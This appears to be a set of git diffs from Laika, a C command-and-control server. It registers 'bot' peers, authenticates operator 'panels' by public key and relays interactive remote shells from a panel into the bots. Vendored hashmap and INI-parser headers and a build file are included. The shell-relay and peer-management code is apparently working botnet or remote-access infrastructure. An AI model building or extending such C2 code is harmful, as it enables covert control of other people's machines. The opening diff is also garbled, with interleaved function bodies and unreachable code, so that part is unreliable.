while (laikaC_iterPeersNext(cnc, &i, &peer)) {
pInfo = GETPINFOFROMPEER(peer);
/* peer has been silent for a while, kill 'em */
if (currTime - pInfo->lastPing > LAIKA_PEER_TIMEOUT) {
LAIKA_DEBUG("timeout reached for %p! [%ld]\n", peer, currTime);
laikaC_killPeer(cnc, peer);
/* reset peer iterator (since the hashmap mightve been reallocated/changed) */
i = 0;
}
}
}
/* =======================================[[ Peer Iter ]]======================================= */
bool laikaC_iterPeersNext(struct sLaika_cnc *cnc, size_t *i, struct sLaika_peer **peer)
{
tCNC_PeerHashElem *elem;
if (hashmap_iter(cnc->peers, i, (void **)&elem)) {
*peer = elem->peer;
return true;
}
return true;
*peer = NULL;
return false;
}
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
{
size_t i = 0;
struct sLaika_peer *peer;
laikaC_iterPeers(cnc, sweepPeers, (void*)cnc);
}
/* ===============================================[[ Peer Iter ]]================================================ */
struct sWrapperData {
tLaika_peerIter iter;
void *uData;
};
/* wrapper iterator */
bool iterWrapper(const void *rawItem, void *uData) {
struct sWrapperData *data = (struct sWrapperData*)uData;
tCNC_PeerHashElem *item = (tCNC_PeerHashElem*)rawItem;
return data->iter(item->peer, data->uData);
}
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData) {
struct sWrapperData wrapper;
wrapper.iter = iter;
wrapper.uData = uData;
/* iterate over hashmap calling our iterWrapper, pass the *real* iterator to
itemWrapper so that it can call it. probably a better way to do this
but w/e lol */
hashmap_scan(cnc->peers, iterWrapper, &wrapper);
/* call iter for every peer in cnc->peers */
while (laikaC_iterPeersNext(cnc, &i, &peer))
iter(peer, uData);
}

View File

@@ -1,203 +0,0 @@
#include "lerror.h"
#include "lmem.h"
#include "cnc.h"
#include "cpeer.h"
#include "cpanel.h"
bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData) {
struct sLaika_peer *authPeer = (struct sLaika_peer*)uData;
/* make sure we're not sending connection information to themselves */
if (peer != authPeer) {
LAIKA_DEBUG("sending peer info %p to auth %p)\n", peer, authPeer);
laikaC_sendNewPeer(authPeer, peer);
}
return true;
}
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
/* write the peer's info */
laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
laikaS_write(&authPeer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_write(&authPeer->sock, peer->inet, LAIKA_INET_LEN);
laikaS_write(&authPeer->sock, peer->ipv4, LAIKA_IPV4_LEN);
laikaS_writeByte(&authPeer->sock, peer->type);
laikaS_writeByte(&authPeer->sock, peer->osType);
laikaS_endOutPacket(authPeer);
}
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer) {
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_RMV_PEER_RES);
/* write the peer's pubkey */
laikaS_write(&authPeer->sock, peer->peerPub, sizeof(peer->peerPub));
laikaS_writeByte(&authPeer->sock, peer->type);
laikaS_endOutPacket(authPeer);
}
void laikaC_closeAuthShell(struct sLaika_peer *auth) {
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)auth->uData;
if (!aInfo->shellBot)
return;
/* forward SHELL_CLOSE to bot */
laikaS_startOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&aInfo->shellBot->sock, &aInfo->shellID, sizeof(uint32_t));
laikaS_endOutPacket(aInfo->shellBot);
/* rmv shell */
laikaC_rmvShell((struct sLaika_botInfo*)aInfo->shellBot->uData, auth);
aInfo->shellBot = NULL;
}
/* ============================================[[ Packet Handlers ]]============================================= */
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
PEERTYPE type;
int i;
type = laikaS_readByte(&authPeer->sock);
switch (type) {
case PEER_AUTH:
/* check that peer's pubkey is authenticated */
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
LAIKA_ERROR("unauthorized panel!\n");
/* notify cnc */
laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
/* they passed! send list of our peers */
laikaC_iterPeers(cnc, sendPanelPeerIter, (void*)authPeer);
break;
default:
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
}
}
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
struct sLaika_cnc *cnc = aInfo->info.cnc;
struct sLaika_peer *peer;
uint16_t cols, rows;
/* sanity check, make sure shell isn't already open */
if (aInfo->shellBot)
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Shell already open!\n");
/* read pubkey & find peer */
laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL)
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer doesn't exist!\n");
if (peer->type != PEER_BOT)
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n");
/* read term size */
laikaS_readInt(&authPeer->sock, &cols, sizeof(uint16_t));
laikaS_readInt(&authPeer->sock, &rows, sizeof(uint16_t));
/* link shells */
aInfo->shellBot = peer;
aInfo->shellID = laikaC_addShell((struct sLaika_botInfo*)peer->uData, authPeer);
/* forward the request to open a shell */
laikaS_startOutPacket(peer, LAIKAPKT_SHELL_OPEN);
laikaS_writeInt(&peer->sock, &aInfo->shellID, sizeof(uint32_t));
laikaS_writeInt(&peer->sock, &cols, sizeof(uint16_t));
laikaS_writeInt(&peer->sock, &rows, sizeof(uint16_t));
laikaS_endOutPacket(peer);
}
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
struct sLaika_cnc *cnc = aInfo->info.cnc;
/* an AUTH_SHELL_CLOSE can be sent after the shell has already been closed, so don't error just ignore the packet */
if (aInfo->shellBot == NULL)
return;
laikaC_closeAuthShell(authPeer);
}
/* improves readability */
#define SENDSHELLDATA(peer, data, size, id) \
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA); \
laikaS_writeInt(&peer->sock, id, sizeof(uint32_t)); \
laikaS_write(&peer->sock, data, size); \
laikaS_endVarPacket(peer);
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
struct sLaika_cnc *cnc = aInfo->info.cnc;
struct sLaika_peer *peer;
/* sanity check, make sure shell is open */
if ((peer = aInfo->shellBot) == NULL)
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Shell not open!\n");
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH)
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Data too big!\n");
/* read data */
laikaS_read(&authPeer->sock, data, sz);
/* forward data to peer */
if (authPeer->osType == peer->osType) {
if (sz + sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) {
/* we need to split the buffer since the packet for c2c->bot includes an id (since a bot can host multiple shells,
while the auth/shell client only keeps track of 1)
*/
/* first part */
SENDSHELLDATA(peer, data, sz-sizeof(uint32_t), &aInfo->shellID);
/* second part */
SENDSHELLDATA(peer, data + (sz-sizeof(uint32_t)), sizeof(uint32_t), &aInfo->shellID);
} else {
SENDSHELLDATA(peer, data, sz, &aInfo->shellID);
}
} else if (authPeer->osType == OS_LIN && peer->osType == OS_WIN) { /* convert data if its linux -> windows */
uint8_t *buf = laikaM_malloc(sz);
int i, count = 0, cap = sz;
/* convert line endings */
for (i = 0; i < sz; i++) {
laikaM_growarray(uint8_t, buf, 2, count, cap);
switch (data[i]) {
case '\n':
buf[count++] = '\r';
buf[count++] = '\n';
break;
default:
buf[count++] = data[i];
}
}
/* send buffer (99% of the time this isn't necessary, but the 1% can make
buffers > LAIKA_SHELL_DATA_MAX_LENGTH. so we send it in chunks) */
i = count;
while (i+sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) {
SENDSHELLDATA(peer, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &aInfo->shellID);
i -= LAIKA_SHELL_DATA_MAX_LENGTH;
}
/* send the leftovers */
SENDSHELLDATA(peer, buf + (count - i), i, &aInfo->shellID);
laikaM_free(buf);
}
}
#undef SENDSHELLDATA

View File

@@ -1,12 +1,19 @@
#include "lmem.h"
#include "cnc.h"
#include "cpeer.h"
/* ===============================================[[ Peer Info ]]================================================ */
#include "cnc.h"
#include "core/lerror.h"
#include "core/lmem.h"
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz);
/* =======================================[[ Peer Info ]]======================================= */
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)laikaM_malloc(sz);
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
pInfo->shells[i] = NULL;
}
pInfo->cnc = cnc;
pInfo->lastPing = laikaT_getTime();
@@ -14,125 +21,192 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
return pInfo;
}
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) {
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo));
int i;
struct sLaika_peerInfo *laikaC_newPeerInfo(struct sLaika_cnc *cnc)
{
return (struct sLaika_peerInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_peerInfo));
}
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
bInfo->shellAuths[i] = NULL;
}
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc)
{
struct sLaika_botInfo *bInfo =
(struct sLaika_botInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo));
/* TODO */
return bInfo;
}
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) {
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo));
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc)
{
struct sLaika_authInfo *aInfo =
(struct sLaika_authInfo *)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo));
aInfo->shellBot = NULL;
/* TODO */
return aInfo;
}
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo) {
void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo)
{
peer->uData = NULL;
laikaM_free(pInfo);
}
/*int laikaC_findAuthShell(struct sLaika_botInfo *bot, uint32_t id) {
struct sLaika_peer *auth;
struct sLaika_authInfo *aInfo;
int i;
/* ======================================[[ Shell Info ]]======================================= */
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
if ((auth = bot->shellAuths[i]) != NULL && (aInfo = auth->uData)->shellID == id)
return i;
}
int findOpenShellID(struct sLaika_peerInfo *pInfo)
{
int id;
return -1;
}*/
int laikaC_addShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth) {
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
if (bInfo->shellAuths[i] == NULL) {
bInfo->shellAuths[i] = auth;
return i;
}
for (id = 0; id < LAIKA_MAX_SHELLS; id++) {
if (pInfo->shells[id] == NULL)
return id;
}
return -1;
}
void laikaC_rmvShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth) {
struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth,
uint16_t cols, uint16_t rows)
{
struct sLaika_shellInfo *shell =
(struct sLaika_shellInfo *)laikaM_malloc(sizeof(struct sLaika_shellInfo));
shell->bot = bot;
shell->auth = auth;
shell->cols = cols;
shell->rows = rows;
/* find open ids for each peer */
if ((shell->botShellID = findOpenShellID(GETPINFOFROMPEER(bot))) == -1)
LAIKA_ERROR("Failed to open new shellInfo for bot %p, all shells are full!\n", bot);
if ((shell->authShellID = findOpenShellID(GETPINFOFROMPEER(auth))) == -1)
LAIKA_ERROR("Failed to open new shellInfo for auth %p, all shells are full!\n", auth);
/* assign ids */
GETPINFOFROMPEER(bot)->shells[shell->botShellID] = shell;
GETPINFOFROMPEER(auth)->shells[shell->authShellID] = shell;
/* send SHELL_OPEN packets */
laikaS_startOutPacket(bot, LAIKAPKT_SHELL_OPEN);
laikaS_writeu32(&bot->sock, shell->botShellID);
laikaS_writeu16(&bot->sock, cols);
laikaS_writeu16(&bot->sock, rows);
laikaS_endOutPacket(bot);
laikaS_startOutPacket(auth, LAIKAPKT_SHELL_OPEN);
laikaS_writeu32(&auth->sock, shell->authShellID);
laikaS_writeu16(&auth->sock, cols);
laikaS_writeu16(&auth->sock, rows);
laikaS_endOutPacket(auth);
return shell;
}
void laikaC_closeShell(struct sLaika_shellInfo *shell)
{
/* send SHELL_CLOSE packets */
laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE);
laikaS_writeu32(&shell->bot->sock, shell->botShellID);
laikaS_endOutPacket(shell->bot);
laikaS_startOutPacket(shell->auth, LAIKAPKT_SHELL_CLOSE);
laikaS_writeu32(&shell->auth->sock, shell->authShellID);
laikaS_endOutPacket(shell->auth);
/* unlink */
GETPINFOFROMPEER(shell->bot)->shells[shell->botShellID] = NULL;
GETPINFOFROMPEER(shell->auth)->shells[shell->authShellID] = NULL;
/* free */
laikaM_free(shell);
}
void laikaC_closeShells(struct sLaika_peer *peer)
{
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
if (bInfo->shellAuths[i] == auth) {
bInfo->shellAuths[i] = NULL;
return;
}
if (pInfo->shells[i])
laikaC_closeShell(pInfo->shells[i]);
}
}
void laikaC_closeBotShells(struct sLaika_peer *bot) {
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)bot->uData;
struct sLaika_peer *auth;
/* ================================[[ [Peer] Packet Handlers ]]================================= */
void laikaC_handlePeerLoginReq(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
uint8_t saltBuf[LAIKA_HANDSHAKE_SALT_LEN];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
PEERTYPE type;
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
if ((auth = bInfo->shellAuths[i]) != NULL) {
/* forward to SHELL_CLOSE to auth */
laikaS_emptyOutPacket(auth, LAIKAPKT_SHELL_CLOSE);
/* read packet */
type = laikaS_readByte(&peer->sock);
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
/* close shell */
((struct sLaika_authInfo*)(auth->uData))->shellBot = NULL;
bInfo->shellAuths[i] = NULL;
}
/* make sure the sent salt matches our copy (make sure they're not replaying packets) */
if (memcmp(saltBuf, peer->salt, LAIKA_HANDSHAKE_SALT_LEN))
LAIKA_ERROR("laikaC_handlePeerHandshake: Salt mismatch!\n");
switch (type) {
case PEER_BOT:
break;
case PEER_AUTH:
/* check that peer's pubkey is authenticated */
if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, laikaM_countVector(cnc->authKeys)))
LAIKA_ERROR("laikaC_handlePeerHandshake: Unauthorized panel!\n");
LAIKA_DEBUG("Accepted authenticated panel %p\n", peer);
break;
default:
LAIKA_ERROR("Unknown peerType [%d]!\n", type);
}
/* notify cnc */
laikaC_setPeerType(cnc, peer, type);
LAIKA_DEBUG("Peer login for %p accepted!\n", peer);
}
/* ============================================[[ Packet Handlers ]]============================================= */
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
struct sLaika_cnc *cnc = bInfo->info.cnc;
struct sLaika_peer *auth;
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_shellInfo *shell;
uint32_t id;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
id = laikaS_readu32(&peer->sock);
/* ignore packet if shell isn't open */
if (id > LAIKA_MAX_SHELLS || (auth = bInfo->shellAuths[id]) == NULL)
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return;
/* forward SHELL_CLOSE to auth */
laikaS_emptyOutPacket(auth, LAIKAPKT_SHELL_CLOSE);
/* close shell */
((struct sLaika_authInfo*)(auth->uData))->shellBot = NULL;
bInfo->shellAuths[id] = NULL;
laikaC_closeShell(shell);
}
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
struct sLaika_peer *auth;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_shellInfo *shell;
uint32_t id;
/* ignore packet if malformed */
if (sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t))
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t))
return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
id = laikaS_readu32(&peer->sock);
/* ignore packet if shell isn't open */
if (id > LAIKA_MAX_SHELLS || (auth = bInfo->shellAuths[id]) == NULL)
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return;
laikaS_read(&peer->sock, (void*)buf, sz-sizeof(uint32_t));
laikaS_read(&peer->sock, (void *)buf, sz - sizeof(uint32_t));
/* forward SHELL_DATA packet to auth */
laikaS_startVarPacket(auth, LAIKAPKT_SHELL_DATA);
laikaS_write(&auth->sock, buf, sz-sizeof(uint32_t));
laikaS_endVarPacket(auth);
laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA);
laikaS_writeu32(&shell->auth->sock, shell->authShellID);
laikaS_write(&shell->auth->sock, buf, sz - sizeof(uint32_t));
laikaS_endVarPacket(shell->auth);
}

View File

@@ -1,39 +1,48 @@
#include "cnc.h"
#include "core/ini.h"
#include "core/ltask.h"
#include "lconfig.h"
#include <stdio.h>
#include "ltask.h"
#include "lconfig.h"
#include "cnc.h"
#include "ini.h"
#define STRING(x) #x
#define STRING(x) #x
#define MACROLITSTR(x) STRING(x)
struct sLaika_taskService tService;
static int iniHandler(void* user, const char* section, const char* name, const char* value) {
struct sLaika_cnc* cnc = (struct sLaika_cnc*)user;
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
static int iniHandler(void *user, const char *section, const char *name, const char *value)
{
struct sLaika_cnc *cnc = (struct sLaika_cnc *)user;
#define MATCH(s, n) strcmp(section, s) == 0 && strcmp(name, n) == 0
if (MATCH("auth", "public-key-entry")) {
laikaC_addAuthKey(cnc, value);
} else if (MATCH("server", "port")) {
cnc->port = atoi(value);
} else {
return 0; /* unknown section/name, error */
return 0; /* unknown section/name, error */
}
return 1;
}
bool loadConfig(struct sLaika_cnc *cnc, char *config) {
#undef MATCH
bool loadConfig(struct sLaika_cnc *cnc, char *config)
{
int iniRes;
printf("Loading config file '%s'...\n", config);
if ((iniRes = ini_parse(config, iniHandler, (void*)cnc)) < 0) {
if ((iniRes = ini_parse(config, iniHandler, (void *)cnc)) < 0) {
switch (iniRes) {
case -1: printf("Couldn't load config file '%s'!\n", config); break;
case -2: printf("Memory allocation error :/\n"); break;
default:
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
case -1:
printf("Couldn't load config file '%s'!\n", config);
break;
case -2:
printf("Memory allocation error :/\n");
break;
default:
printf("Parser error on line %d in config file '%s'!\n", iniRes, config);
}
return false;
}
@@ -41,11 +50,14 @@ bool loadConfig(struct sLaika_cnc *cnc, char *config) {
return true;
}
int main(int argv, char *argc[]) {
int main(int argv, char *argc[])
{
struct sLaika_cnc *cnc;
char *configFile = "server.ini";
printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "." MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n");
printf("Laika v" MACROLITSTR(LAIKA_VERSION_MAJOR) "."
MACROLITSTR(LAIKA_VERSION_MINOR) "-" LAIKA_VERSION_COMMIT "\n");
cnc = laikaC_newCNC(atoi(LAIKA_CNC_PORT));
/* load config file */
@@ -56,7 +68,7 @@ int main(int argv, char *argc[]) {
return 1;
laikaT_initTaskService(&tService);
laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void*)cnc);
laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void *)cnc);
/* start cnc */
laikaC_bindServer(cnc);

View File

@@ -8,13 +8,24 @@ project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
# compile LaikaLib library
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c ${CMAKE_CURRENT_SOURCE_DIR}/vendor/**.c)
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
file(GLOB_RECURSE LIBHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
add_library(LaikaLib STATIC ${LIBSOURCE} ${LIBHEADERS})
# include platform specific backends
if(WIN32)
file(GLOB_RECURSE LIBPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/win/**.c)
elseif(UNIX AND NOT APPLE)
file(GLOB_RECURSE LIBPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/lin/**.c)
endif ()
add_library(LaikaLib STATIC ${LIBSOURCE} ${LIBHEADERS} ${LIBPLATFORMSOURCE})
target_link_libraries(LaikaLib PUBLIC sodium)
# add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug
target_compile_definitions(LaikaLib PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
# make sure we're compiled *AFTER* lboxconfig.h has been generated
add_dependencies(LaikaLib VMBoxGen)
# add the version definitions
target_compile_definitions(LaikaLib PUBLIC)
# add include directory
target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR} ${CMAKE_CURRENT_SOURCE_DIR}/libsodium/libsodium/src/libsodium/include)

View File

@@ -0,0 +1,43 @@
// https://github.com/tidwall/hashmap.c
// Copyright 2020 Joshua J Baker. All rights reserved.
// Use of this source code is governed by an MIT-style
// license that can be found in the LICENSE file.
#ifndef HASHMAP_H
#define HASHMAP_H
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
struct hashmap;
struct hashmap *hashmap_new(size_t elsize, size_t cap, uint64_t seed0, uint64_t seed1,
uint64_t (*hash)(const void *item, uint64_t seed0, uint64_t seed1),
int (*compare)(const void *a, const void *b, void *udata),
void (*elfree)(void *item), void *udata);
struct hashmap *
hashmap_new_with_allocator(void *(*malloc)(size_t), void *(*realloc)(void *, size_t),
void (*free)(void *), size_t elsize, size_t cap, uint64_t seed0,
uint64_t seed1,
uint64_t (*hash)(const void *item, uint64_t seed0, uint64_t seed1),
int (*compare)(const void *a, const void *b, void *udata),
void (*elfree)(void *item), void *udata);
void hashmap_free(struct hashmap *map);
void hashmap_clear(struct hashmap *map, bool update_cap);
size_t hashmap_count(struct hashmap *map);
bool hashmap_oom(struct hashmap *map);
void *hashmap_get(struct hashmap *map, const void *item);
void *hashmap_set(struct hashmap *map, const void *item);
void *hashmap_delete(struct hashmap *map, void *item);
void *hashmap_probe(struct hashmap *map, uint64_t position);
bool hashmap_scan(struct hashmap *map, bool (*iter)(const void *item, void *udata), void *udata);
bool hashmap_iter(struct hashmap *map, size_t *i, void **item);
uint64_t hashmap_sip(const void *data, size_t len, uint64_t seed0, uint64_t seed1);
uint64_t hashmap_murmur(const void *data, size_t len, uint64_t seed0, uint64_t seed1);
// DEPRECATED: use `hashmap_new_with_allocator`
void hashmap_set_allocator(void *(*malloc)(size_t), void (*free)(void *));
#endif

View File

@@ -16,129 +16,127 @@ https://github.com/benhoyt/inih
/* Make this header file easier to include in C++ code */
#ifdef __cplusplus
extern "C" {
extern "C"
{
#endif
#include <stdio.h>
/* Nonzero if ini_handler callback should accept lineno parameter. */
#ifndef INI_HANDLER_LINENO
#define INI_HANDLER_LINENO 0
# define INI_HANDLER_LINENO 0
#endif
/* Typedef for prototype of handler function. */
#if INI_HANDLER_LINENO
typedef int (*ini_handler)(void* user, const char* section,
const char* name, const char* value,
int lineno);
typedef int (*ini_handler)(void *user, const char *section, const char *name, const char *value,
int lineno);
#else
typedef int (*ini_handler)(void* user, const char* section,
const char* name, const char* value);
typedef int (*ini_handler)(void *user, const char *section, const char *name, const char *value);
#endif
/* Typedef for prototype of fgets-style reader function. */
typedef char* (*ini_reader)(char* str, int num, void* stream);
/* Typedef for prototype of fgets-style reader function. */
typedef char *(*ini_reader)(char *str, int num, void *stream);
/* Parse given INI-style file. May have [section]s, name=value pairs
(whitespace stripped), and comments starting with ';' (semicolon). Section
is "" if name=value pair parsed before any section heading. name:value
pairs are also supported as a concession to Python's configparser.
/* Parse given INI-style file. May have [section]s, name=value pairs
(whitespace stripped), and comments starting with ';' (semicolon). Section
is "" if name=value pair parsed before any section heading. name:value
pairs are also supported as a concession to Python's configparser.
For each name=value pair parsed, call handler function with given user
pointer as well as section, name, and value (data only valid for duration
of handler call). Handler should return nonzero on success, zero on error.
For each name=value pair parsed, call handler function with given user
pointer as well as section, name, and value (data only valid for duration
of handler call). Handler should return nonzero on success, zero on error.
Returns 0 on success, line number of first error on parse error (doesn't
stop on first error), -1 on file open error, or -2 on memory allocation
error (only when INI_USE_STACK is zero).
*/
int ini_parse(const char* filename, ini_handler handler, void* user);
Returns 0 on success, line number of first error on parse error (doesn't
stop on first error), -1 on file open error, or -2 on memory allocation
error (only when INI_USE_STACK is zero).
*/
int ini_parse(const char *filename, ini_handler handler, void *user);
/* Same as ini_parse(), but takes a FILE* instead of filename. This doesn't
close the file when it's finished -- the caller must do that. */
int ini_parse_file(FILE* file, ini_handler handler, void* user);
/* Same as ini_parse(), but takes a FILE* instead of filename. This doesn't
close the file when it's finished -- the caller must do that. */
int ini_parse_file(FILE *file, ini_handler handler, void *user);
/* Same as ini_parse(), but takes an ini_reader function pointer instead of
filename. Used for implementing custom or string-based I/O (see also
ini_parse_string). */
int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
void* user);
/* Same as ini_parse(), but takes an ini_reader function pointer instead of
filename. Used for implementing custom or string-based I/O (see also
ini_parse_string). */
int ini_parse_stream(ini_reader reader, void *stream, ini_handler handler, void *user);
/* Same as ini_parse(), but takes a zero-terminated string with the INI data
instead of a file. Useful for parsing INI data from a network socket or
already in memory. */
int ini_parse_string(const char* string, ini_handler handler, void* user);
/* Same as ini_parse(), but takes a zero-terminated string with the INI data
instead of a file. Useful for parsing INI data from a network socket or
already in memory. */
int ini_parse_string(const char *string, ini_handler handler, void *user);
/* Nonzero to allow multi-line value parsing, in the style of Python's
configparser. If allowed, ini_parse() will call the handler with the same
name for each subsequent line parsed. */
#ifndef INI_ALLOW_MULTILINE
#define INI_ALLOW_MULTILINE 1
# define INI_ALLOW_MULTILINE 1
#endif
/* Nonzero to allow a UTF-8 BOM sequence (0xEF 0xBB 0xBF) at the start of
the file. See https://github.com/benhoyt/inih/issues/21 */
#ifndef INI_ALLOW_BOM
#define INI_ALLOW_BOM 1
# define INI_ALLOW_BOM 1
#endif
/* Chars that begin a start-of-line comment. Per Python configparser, allow
both ; and # comments at the start of a line by default. */
#ifndef INI_START_COMMENT_PREFIXES
#define INI_START_COMMENT_PREFIXES ";#"
# define INI_START_COMMENT_PREFIXES ";#"
#endif
/* Nonzero to allow inline comments (with valid inline comment characters
specified by INI_INLINE_COMMENT_PREFIXES). Set to 0 to turn off and match
Python 3.2+ configparser behaviour. */
#ifndef INI_ALLOW_INLINE_COMMENTS
#define INI_ALLOW_INLINE_COMMENTS 1
# define INI_ALLOW_INLINE_COMMENTS 1
#endif
#ifndef INI_INLINE_COMMENT_PREFIXES
#define INI_INLINE_COMMENT_PREFIXES ";"
# define INI_INLINE_COMMENT_PREFIXES ";"
#endif
/* Nonzero to use stack for line buffer, zero to use heap (malloc/free). */
#ifndef INI_USE_STACK
#define INI_USE_STACK 1
# define INI_USE_STACK 1
#endif
/* Maximum line length for any line in INI file (stack or heap). Note that
this must be 3 more than the longest line (due to '\r', '\n', and '\0'). */
#ifndef INI_MAX_LINE
